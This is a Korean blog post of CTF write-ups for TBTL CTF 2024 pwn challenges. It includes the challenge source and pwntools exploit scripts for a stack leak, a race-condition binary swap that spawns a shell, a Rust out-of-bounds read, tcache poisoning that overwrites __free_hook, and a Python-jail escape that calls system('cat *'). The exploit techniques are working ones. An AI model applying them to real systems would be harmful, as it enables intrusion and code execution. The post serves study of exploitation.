ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

TBTL CTF 2024 (Pwn)
CTF

TBTL CTF 2024 (Pwn)

2024. 5. 18. 17:27

 


 
[solved]
 
[pwn/Enough with the averages]

더보기
// gcc -o chall chall.c -Wextra
#include <stdio.h>
#include <stdlib.h>

void read_flag() {
  FILE* in;
  char flag[64];
  in = fopen("flag.txt", "rt");
  fscanf(in, "%s", flag);
  fclose(in);
}

void vuln() {
  int score[20];
  int total = 0;  
  for (int i=0; i<20; i++) {
    printf("Enter score for player %d:\n", i);
    scanf("%d", &score[i]);
    total += score[i];
  }
  printf("Average score is %lf.\n", total/20.);
  printf("Type q to quit.");
  while (getchar() != 'q');
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  read_flag();
  vuln();
  return 0;
}

 

read_flag 함수와 vuln 함수가 스택 프레임을 공유한다.

 vuln에선 값을 더해서 평균 값을 내고 출력해준다.

 

scanf의 인자가 "%d"인데 문자를 넣게되면 값이 바뀌지 않고 보존된다.

이를 이용해서 플래그 값을 추출해낼 수 있다.

 

플래그 값은 여러번 실행해도 변하지 않으므로

여러 번 실행해서 배열의 마지막부터 거꾸로 하나씩 추출해내는 방식으로 접근한다.

주의할 점은 한 번 문자를 입력하면 나머지 배열 값들은 입력 없이 값을 다 더해주기 때문에

거꾸로 하나씩 추출할 때 이 값들을 더해서 가지고 있다가 빼줘야 원래 값을 얻을 수 있다.

from pwn import *

# context.log_level = 'debug'

def leak(num,total):
    # p = process('./chall')
    p = remote('0.cloud.chals.io', 10198)

    for _ in range(20-num):
        p.sendlineafter(b'player',b'0')
    for _ in range(num):
        p.sendlineafter(b'player',b'a')

    p.recvuntil(b'Average score is ')
    float_avg = float(p.recvline()[:-2]) 
    avg = int((float_avg)*20)
    avg = (avg - total) & 0xffffffff
    
    if avg != 0:
        if hex(avg)[0] == '-':
            avg = hex(avg)[3:]
        else:
            avg = hex(avg)[2:]
        
        if len(avg)%2 != 0:
            avg = '0'+avg 
        
        print(bytes.fromhex(avg)[::-1])

    p.sendlineafter(b'quit.',b'q')
    p.close()
    return int(float_avg*20)

total = 0
for num in range(20):
    total = leak(num,total)

 


 
[unsolved]
 
[pwn/A Day at the Races]

더보기

총 3개의 파일이 주어진다.

fibonacci.c

#include <stdio.h>

const int M = 1000000;

int main() {
    int a = 1;
    int b = 1;
    for (int i=0; i<2<<26; i++) {
        b = (a+b) % M;
        a = (b-a+M) % M;
    }
    printf("%d\n", b);
    return 0;
}

primes.c

#include <stdio.h>

int is_prime(long long n) {
    for (long long i=2; i*i<=n; i++)
        if (n%i == 0)
            return 0;
    return 1;
}

int main() {
    long long n = 1ll<<55;
    while (!is_prime(n))
        n++;
    printf("%lld\n", n); 
    return 0;
}

server.py

#!/usr/bin/python3

import base64
import hashlib
import io
import signal
import string
import subprocess
import sys
import time


REVIEWED_SOURCES = [
    "24bf297fff03c69f94e40da9ae9b39128c46b7fe", # fibonacci.c
    "55c53ce7bc99001f12027b9ebad14de0538f6a30", # primes.c
]


def slow_print(s, baud_rate=0.1):
    for letter in s:
        sys.stdout.write(letter)
        sys.stdout.flush()
        time.sleep(baud_rate)


def handler(_signum, _frame):
    slow_print("Time out!")
    exit(0)


def error(message):
    slow_print(message)
    exit(0)


def check_filename(filename):
    for c in filename:
        if not c in string.ascii_lowercase + ".":
            error("Invalid filename\n")


def check_compile_and_run(source_path):
    slow_print("Checking if the program is safe {} ...\n".format(source_path))
    hash = hashlib.sha1(open(source_path, 'rb').read()).hexdigest()
    if not hash in REVIEWED_SOURCES:
        error("The program you uploaded has not been reviewed yet.")
    exe_path = source_path + ".exe"
    slow_print("Compiling {} ...\n".format(source_path))
    subprocess.check_call(["/usr/bin/gcc", "-o", exe_path, source_path])
    slow_print("Running {} ...\n".format(exe_path))
    time_start = time.time()
    subprocess.check_call(exe_path)
    duration = time.time()-time_start
    slow_print("Duration {} s\n".format(duration))


def main():
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(300)

    slow_print("Let's see what kind of time your C program clocks today!\n")
    slow_print("Enter filename: ")
    filename = input()
    check_filename(filename)
    filepath = "./run/" + filename

    slow_print("Enter contents (base64): ")
    contents = input()
    try:
        data = base64.decode(io.StringIO(contents), open(filepath, 'wb'))
    except Exception as e:
        error("Error decoding contents ({}).\n".format(e))

    check_compile_and_run(filepath)
    slow_print("Bye!\n")


if __name__ == "__main__":
    main()

 

레이스 컨디션을 생각해야 한다.

컴파일 된 후 slow_print를 수행하는 동안 컴파일 된 파일의 내용을 바꿔치기할 수 있다.

 

쉘을 띄워주는 코드를 컴파일한 뒤 바꿔준다.

shell.c

#include <unistd.h>

int main(){
    execve("/bin/sh",0,0);
    return 0;
}

 

로컬에선 되는데 리모트에서 안된다..

(왜 안되는 지 모르겠음)

from pwn import *
import base64

context.log_level = 'debug'

# p1 = process(['python3', './server.py'])
# p2 = process(['python3', './server.py'])

p1 = remote('0.cloud.chals.io', 10840)
p2 = remote('0.cloud.chals.io', 10840)

p1.sendlineafter(b'filename: ',b'test.c')
p2.sendlineafter(b'filename: ',b'test.c.exe')
p2.recvuntil(b'(base64): ')

data1 = base64.b64encode(open('./fibonacci.c','rb').read())
p1.sendlineafter(b'(base64): ',data1)
p1.recvuntil(b'Run')

data2 = base64.b64encode(open('./shell','rb').read())
p2.sendline(data2)

p1.interactive()

 
[pwn/Diamonds and Rust]

더보기
use std::{
    include_bytes,
    include_str,
    io::Write,
};

use secrecy::{
    ExposeSecret,
    Secret,
};

const MAX_USERNAME_LENGTH: usize = 32usize;
const MAX_PASSWORD_LENGTH: usize = 32usize;

#[repr(C)]
struct User {
    username_size: usize,
    password_size: usize,
    username: [u8; MAX_USERNAME_LENGTH],
    password: [u8; MAX_PASSWORD_LENGTH],
}

macro_rules! set_field {
    ($self:expr, $value:expr, $max_len:expr, $field_size:ident, $field:ident) => {
        $self.$field_size = $value.len();
        let value_chars = $value.chars().collect::<Vec<_>>();
        if value_chars.len() > $max_len {
            panic!("Value must not exceed {} characters!", $max_len);
        }

        unsafe {
            std::ptr::copy_nonoverlapping(
                $value.as_bytes().as_ptr(),
                $self.$field.as_mut_ptr(),
                value_chars.len(),
            );
        }
    };
}

impl User {
    fn empty() -> Self {
        Self {
            username_size: 0usize,
            password_size: 0usize,
            username: [0u8; MAX_USERNAME_LENGTH],
            password: [0u8; MAX_PASSWORD_LENGTH],
        }
    }

    fn set_username(&mut self, username: &str) {
        set_field!(self, username, MAX_USERNAME_LENGTH, username_size, username);
    }

    fn set_password(&mut self, password: &str) {
        set_field!(self, password, MAX_PASSWORD_LENGTH, password_size, password);
    }

    fn print_username(&self) -> () {
        for i in 0..self.username_size {
            unsafe {
                let current_byte = *self.username.get_unchecked(i);
                std::io::stdout()
                    .write_all(&[current_byte])
                    .expect("Error while printing the username");
            }
        }
    }

    fn is_admin(&self, admin_password: Secret<[u8; MAX_PASSWORD_LENGTH]>) -> bool {
        self.password == *admin_password.expose_secret()
    }
}

fn main() {
    let mut user = User::empty();
    let admin_password: Secret<[u8; 32]> =
        Secret::new(*include_bytes!("resources/admin_password.txt"));

    let read_input = |prompt: &str| -> String {
        print!("{}", prompt);
        std::io::stdout().flush().unwrap();

        let mut input = String::new();
        std::io::stdin()
            .read_line(&mut input)
            .expect("Error while reading input");
        input.trim().to_string()
    };

    let username = read_input("Enter your username: ");
    user.set_username(&username);

    print!("Hello, ");
    user.print_username();
    println!("!");

    let password = read_input("Enter password: ");
    user.set_password(&password);

    println!("Here is your flag: ");
    if user.is_admin(admin_password) {
        println!("{}", include_str!("resources/flag.txt"))
    } else {
        println!("{}", include_str!("resources/flag_art.txt"))
    }

    std::io::stdout().flush().unwrap();
}

 

rust 문제는 unsafe 위주로 봐야하는 것 같다.

username과 admin_password는 32바이트다.

set_username으로 username을 입력 받고, print_username으로 username을 출력해준다.

 

print_username 내부에서 호출되는 get_unchecked는

경계 검사를 하지 않기 때문에 배열의 범위를 벗어난 접근을 방지하지 않는다.

따라서 OOB read가 발생할 수 있다.

 

OOB를 발생시키려면 유니코드 문자를 사용해야 한다.

유니코드 한 문자는 여러 개의 바이트로 이루어져 있기 때문이다.

 

set_field 메크로 중 이 부분에서 confusion이 발생하는 것 같다.

바이트 수를 검사하는 것이 아닌 문자열의 개수를 검사한다.

$self.$field_size = $value.len();
        let value_chars = $value.chars().collect::<Vec<_>>();
        if value_chars.len() > $max_len {
            panic!("Value must not exceed {} characters!", $max_len);
        }

 

로컬이랑 리모트가 뭔가 다르다.

로컬
리모트

 

로컬이랑 리모트에서 7바이트만큼의 차이가 있다.

고려해서 페이로드를 짜야한다.

from pwn import *

context.log_level = 'debug'

# p = process('./diamonds_and_rust')
p = remote('0.cloud.chals.io', 14180)

p.sendlineafter(b'username: ',chr(0x10ffff)*32)
secret = p.recvuntil(b'!')[-65:-1]
print(secret)

p.sendlineafter(b'password: ',secret[7:7+32])
p.interactive()

 
[pwn/Heap Peek and Poke]

더보기
//  g++ -o chall chall.cpp
#include <iostream>
#include <fstream>
#include <map>
#include <string>
#include <sstream>

using namespace std;

const string ENTER_PROMPT("Enter a string:");
const string COMMAND_PROMPT("Enter command:");
const string PEEK_CMD("peek");
const string POKE_CMD("poke");
const string QUIT_CMD("quit");
const string BYE_MSG("Bye bye!");
const string UNKNOWN_CMD("Unknown command!");
const map<string, string> HELP {
  {PEEK_CMD, string("peek <integer a>: gets the ascii value of character at index a")},
  {POKE_CMD, string("poke <integer a> <integer b>: changes character at index a to ascii value b")}
};

void win() {
  ifstream in("flag.txt");
  string flag;
  in >> flag;
  cout << flag << endl;
}

int main() {
  cout.setf(ios::unitbuf);
  cout << ENTER_PROMPT << endl;
  string s;
  getline(cin, s);
  if (s.size() < 0x20)
    return 0;
  while (true) {
    cout << COMMAND_PROMPT << endl;
    string line;
    getline(cin, line);
    istringstream iss(line);
    string command;
    iss >> command;
    if (command == POKE_CMD) {
      int x, y;
      if (!(iss >> x >> y)) {
        cout << HELP.at(POKE_CMD) << endl;
        continue ;
      }
      s[x] = char(y);
    } else if (command == PEEK_CMD) {
      int x;
      if (!(iss >> x)) {
        cout << HELP.at(PEEK_CMD) << endl;
        continue ;
      }
      cout << int(s[x]) << endl;
    } else if (command == QUIT_CMD) {
      cout << BYE_MSG << endl;
      break ;
    } else {
      cout << UNKNOWN_CMD << endl;
      continue ;
    }
  }
  return 0;
}

 

구조는 단순하다.

명령어에 따라 AAR, AAW가 가능하게 되어 있다.

명령어로 입력한 문자열들을 힙에서 관리된다.

(다만 이제 C++로 작성되어 있기 때문에 좀 복잡해졌을 뿐..)

 

일단 이 문제는 환경 세팅부터 시간이 좀 걸린다.

c++과 관련된 라이브러리 파일들을 맞춰줘야 하는데 파일을 다 준게 아니라서 좀 짜증난다.

(patchelf로 좀 해볼라 했는데 잘 안 됐음..)

 

결국 libc-2.27임을 고려해 도커로 우분투 18.04 컨테이너 만들어서 거기서 문제를 풀기로 했다.

(볼륨을 직접 마운트하니까 변경 사항이 바로 적용돼서 편하더라)

docker pull ubuntu:18.04
docker run -v ".:/chal" -it ubuntu:18.04
docker exec -it <container_name> /bin/bash

 

추가로 pwndbg도 설치해줘야 한다.

왜냐면 vis_heap_chunks 명령이 pwndbg에만 있기 때문이다.

vis_heap_chunks 명령은 C++ 힙 분석에 사용된다.

우분투 18.04는 지원하지 않기 때문에 tag를 이용해서 과거 버전으로 클론한다.

git clone --branch 2023.07.17 https://github.com/pwndbg/pwndbg.git
cd pwndbg
./setup.sh

 

초기 0x28만큼 A를 입력하면 힙은 다음과 같은 상태가 된다.

vis_heap_chunks

 

0x555555618f48에 pie leak할 수 있는 값이 존재하고,
0x555555618ee0에 heap leak할 수 있는 값이 존재한다.

 

이후 got 탭을 검색해서 함수 하나를 잡고 AAR로 읽어주면 libc leak까지 할 수 있다.

버전이 2.27이기 때문에 hook overwrite를 사용할 수 있다.

tcache poisoning을 활용해서 fd를 __free_hook으로 바꿔준 뒤

명령어를 입력할 때 win함수로 적당히 맞춰주면 된다.

 0x60짜리 tcache bin을 활용했다.

from pwn import *

# context.log_level = 'debug'

# p = process('./chall')
# e = ELF('./chall', checksec=False)
# l = ELF('/lib/x86_64-linux-gnu/libc-2.27.so', checksec=False)
p = remote('0.cloud.chals.io', 12348)
e = ELF('./chall', checksec=False)
l = ELF('./lib/libc-2.27.so', checksec=False)

p.sendlineafter(b'string:',b'A'*0x28)

# heap leak
heap = ''
for i in range(0x58,0x58+8):
    p.sendlineafter(b'command:',b'peek '+str(i).encode())
    p.recvline()
    heap = hex(int(p.recvline()[:-1])&0xff)[2:].rjust(2,'0') + heap

heap = int(heap,16) + 0x11e80
print('[heap]',hex(heap))

# pie leak
pie = ''
for i in range(0xB8,0xB8+8):
    p.sendlineafter(b'command:',b'peek '+str(i).encode())
    p.recvline()
    pie = hex(int(p.recvline()[:-1])&0xff)[2:].rjust(2,'0') + pie

pie = int(pie,16) - (e.symbols['_ZL4HELP']+8)
win = pie + e.symbols['_Z3winv']
memcmp_got = pie + e.got['memcmp']
print('[pie]',hex(pie))
print('[win]',hex(win))

offset = memcmp_got-heap
# libc leak
libc = ''
for i in range(offset,offset+8):
    p.sendlineafter(b'command:',b'peek '+str(i).encode())
    p.recvline()
    libc = hex(int(p.recvline()[:-1])&0xff)[2:].rjust(2,'0') + libc
libc = int(libc,16) - 0x18aa60
freehook = libc + 0x3ed8e8
print('[libc]',hex(libc))
print('[freehook]',hex(freehook))

# hook overwrite
offset = 0x50
for i in range(8):
    v = p64(freehook)[i]
    p.sendlineafter(b'command:',b'poke '+str(offset+i).encode()+b' '+str(v).encode())
p.sendlineafter(b'command:',p64(win)*10)

p.interactive()

 

[pwn/Squeezing Tightly On Arm]

더보기
import sys
version = sys.version_info
del sys

FLAG = 'TBTL{...}'
del FLAG


def check(command):

    if len(command) > 120:
        return False

    allowed = {
        "'": 0,
        '.': 1,
        '(': 1,
        ')': 1,
        '/': 1,
        '+': 1,
        }

    for char, count in allowed.items():
        if command.count(char) > count:
            return False

    return True


def safe_eval(command, loc={}):

    if not check(command):
        return

    return eval(command, {'__builtins__': {}}, loc)


for _ in range(10):
    command = input(">>> ")

    if command == 'version':
        print(str(version))
    else:
        safe_eval(command)

 

pyjail 문제이다.

잘 모르는 유형이니 나중에 따로 공부해봐야겠다.

# {}.__class__.__base__.__subclasses__()[133].__init__.__globals__['system']('ls')
from pwn import *

context.log_level = 'debug'

for i in range(133,134):
    p = remote('0.cloud.chals.io', 16087)
    lines = [
        '[a:={}.__class__]',
        '[a:=a.__base__]',
        '[a:=a.__subclasses__()]',
        f'[a:=a[{i}]]',
        '[a:=a.__init__]',
        '[a:=a.__globals__]',
        '[a:=a["system"]]',
        '[a:=a("cat *")]',
    ]

    try:
        for line in lines:
            p.sendlineafter(b'>>>',line)
    except Exception as e:
        print(e)
        p.close()
        continue

    p.interactive()
    exit(0)

 


 
https://youtu.be/dyD2IgN8_Mk?si=cFJQ8JSJdZQ6waC4

 

'CTF' 카테고리의 다른 글

[hxpCTF 2020] kernel-rop (with write-up) (1)  (0) 2024.06.22
BYUCTF 2024 (Pwn)  (0) 2024.05.19
San Diego CTF 2024 (Pwn)  (0) 2024.05.15
Grey Cat The Flag 2024 Qualifiers  (0) 2024.04.22
AmateursCTF 2024  (1) 2024.04.10
    'CTF' 카테고리의 다른 글
    • [hxpCTF 2020] kernel-rop (with write-up) (1)
    • BYUCTF 2024 (Pwn)
    • San Diego CTF 2024 (Pwn)
    • Grey Cat The Flag 2024 Qualifiers
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바